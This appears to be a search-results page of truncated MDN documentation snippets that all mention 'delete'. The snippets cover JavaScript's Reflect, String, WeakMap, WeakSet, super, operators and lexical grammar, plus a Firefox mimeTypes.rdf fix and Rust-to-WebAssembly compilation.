ns a typeerror if any properties were not successfully defined on the object. n/a set() n/a reflect.set() returns true if the property was set successfully on the object and false if it was not. throws a typeerror if the target was not an object. get() n/a reflect.get() returns the value of the property. throws a typeerror if the target was not an object. deleteproperty() n/a reflect.deleteproperty() returns true if the property was deleted from the object and false if it was not. getownpropertydescriptor() object.getownpropertydescriptor() returns a property descriptor of the given property if it exists on the object argument passed in, and returns undefined if it does not exist. however, if an object is not passed in as the first argu...
Reflect - JavaScript
ction.prototype.apply(). reflect.construct(target, argumentslist[, newtarget]) the new operator as a function. equivalent to calling new target(...argumentslist). also provides the option to specify a different prototype. reflect.defineproperty(target, propertykey, attributes) similar to object.defineproperty(). returns a boolean that is true if the property was successfully defined. reflect.deleteproperty(target, propertykey) the delete operator as a function. equivalent to calling delete target[propertykey]. reflect.get(target, propertykey[, receiver]) returns the value of the property. works like getting a property from an object (target[propertykey]) as a function. reflect.getownpropertydescriptor(target, propertykey) similar to object.getownpropertydescriptor(). returns a property...
String - JavaScript
access there are two ways to access an individual character in a string. the first is the charat() method: return 'cat'.charat(1) // returns "a" the other way (introduced in ecmascript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed. the properties involved are neither writable nor configurable. (see object.defineproperty() for more information.) comparing strings in c, the strcmp() function is used for comparing strings. in javascript, you just use the less-than and greater-than operators: let a = 'a' let b = 'b' if (a < b) { // true console.log(a + ' is less than ...
WeakMap() constructor - JavaScript
efined); wm2.set(wm1, wm2); // keys and values can be any objects. even weakmaps! wm1.get(o2); // "azerty" wm2.get(o2); // undefined, because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false specifications specification ecmascript (ecma-262)the definition of 'weakmap constructor' in that specification. ...
WeakSet() constructor - JavaScript
jects that store weakly held objects in a collection. syntax new weakset([iterable]); parameters iterable if an iterable object is passed, all of its elements will be added to the new weakset. null is treated as undefined. examples using the weakset object var ws = new weakset(); var foo = {}; var bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar. while they are similar objects, they are not the same object. and so they are both added to the set. specifications specification ecmascript (ecma-262)the definition of 'weakset constructor' in that specification. ...
Lexical grammar - JavaScript
. bom will not work when you try to run the script in unix/linux. so use utf-8 without bom if you want to run scripts directly from shell. you must only use the #! comment style to specify a javascript interpreter. in all other cases just use a // comment (or mulitiline comment). keywords reserved keywords as of ecmascript 2015 break case catch class const continue debugger default delete do else export extends finally for function if import in instanceof new return super switch this throw try typeof var void while with yield future reserved keywords the following are reserved as future keywords by the ecmascript specification. they have no special functionality at present, but they might at some future time, so they cannot be used as identifiers. these...
Exponentiation (**) - JavaScript
tion operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. for example, in bash, the ** operator is defined to have a lower precedence than unary operators. in javascript, it is impossible to write an ambiguous exponentiation expression. that is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a syntaxerror. -2 ** 2; // 4 in bash, -4 in other languages. // this is invalid in javascript, as the operation is ambiguous. -(2 ** 2); // -4 in javascript and the author's intention is unambiguous. note that some programming languages use the caret symbol ^ for exponentiation, but javascript uses that symbol for the bitwi...
super - JavaScript
l super on static methods. class rectangle { constructor() {} static lognbsides() { return 'i have 4 sides'; } } class square extends rectangle { constructor() {} static logdescription() { return super.lognbsides() + ' which are all equal'; } } square.logdescription(); // 'i have 4 sides which are all equal' deleting super properties will throw an error you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror. class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } } new derived().delete(); // referenceerror: invalid delete involving 'super'. super.prop cannot overwrite non-writable properties when defi...
Expressions and operators - JavaScript
multiple arguments (for function calls) or multiple elements (for array literals) are expected. increment and decrement postfix/prefix increment and postfix/prefix decrement operators. a++ postfix increment operator. a-- postfix decrement operator. ++a prefix increment operator. --a prefix decrement operator. unary operators a unary operation is operation with only one operand. delete the delete operator deletes a property from an object. void the void operator discards an expression's return value. typeof the typeof operator determines the type of a given object. + the unary plus operator converts its operand to number type. - the unary negation operator converts its operand to number type and then negates it. ~ bitwise not operator. ! logical not operator. ari...
JavaScript reference - JavaScript
bugger import label with expressions and operators javascript expressions and operators. ...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
. possible solutions how you solve this problem depends on whether it's your operating system or your mozilla profile (mimetypes.rdf) that are corrupt. the latter is more common, so we'll start with that. however, it seems that the former may also cause the latter. one way to check is to create a new profile and restart mozilla using that profile. if svg works with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below. if the new profile doesn't work, clean your os file associations, then your mimetypes.rdf. create and remove a bogus file association this solution should work for mimetypes.rdf corruption, and requires little technical knowledge. it's adapted from jp fiset's comment in bug 303581 which in turn was ada...
Caching compiled WebAssembly modules - WebAssembly
it resolves with the stored compiled modul...
Compiling from Rust to WebAssembly - WebAssembly
the file that we use to configure our build. if you've used gemfile from bundler or package.json from npm, this is likely to be familiar; cargo works in a similar manner to both of them. next, cargo has generated some rust code for us in src/lib.rs: #[cfg(test)] mod tests { #[test] fn it_works() { assert_eq!(2 + 2, 4); } } we won't use this test code at all, so go ahead and delete it. let's write some rust let's put this code into src/lib.rs instead: use wasm_bindgen::prelude::*; #[wasm_bindgen] extern { pub fn alert(s: &str); } #[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("hello, {}!", name)); } this is the contents of our rust project. it has three main parts; let's talk about them in turn. we give a high-level explanation here, and gloss over ...